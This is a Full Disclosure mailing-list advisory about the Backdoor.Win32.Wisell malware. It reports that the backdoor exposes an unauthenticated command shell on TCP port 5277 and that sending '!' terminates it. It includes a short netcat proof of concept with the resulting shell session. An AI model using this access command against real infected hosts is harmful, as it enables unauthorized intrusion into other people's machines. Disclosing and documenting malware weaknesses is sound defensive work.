full-disclosure - [FD] Backdoor.Win32.Wisell / Unauthenticated Remote Command Execution

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Message-ID: <CAAHK0WT4bw0jMwUiMJpSpPujDkVn7wUPP=XOERZWyE3jgDPxEg@mail.gmail.com>
Date: Mon, 31 May 2021 21:57:16 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Wisell / Unauthenticated Remote Command
	Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/eba4ce50a036a196484715f60c8a449b.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wisell
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 5277, third-party attackers
who can reach the system can execute OS commands further compromising the
already infected system. Sending the exclaimation point character "!" will
not only quit the shell, but also effectively terminate the backdoor.
Type: PE32
MD5: eba4ce50a036a196484715f60c8a449b
Vuln ID: MVID-2021-0234
Disclosure: 05/31/2021

Exploit/PoC:
nc64.exe x.x.x.x 5277
WinShell v1.0 - '!' to quit, 'enter' to shell...
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\Victim\Desktop>whoami
whoami
desktop-3c3fqjo\victim

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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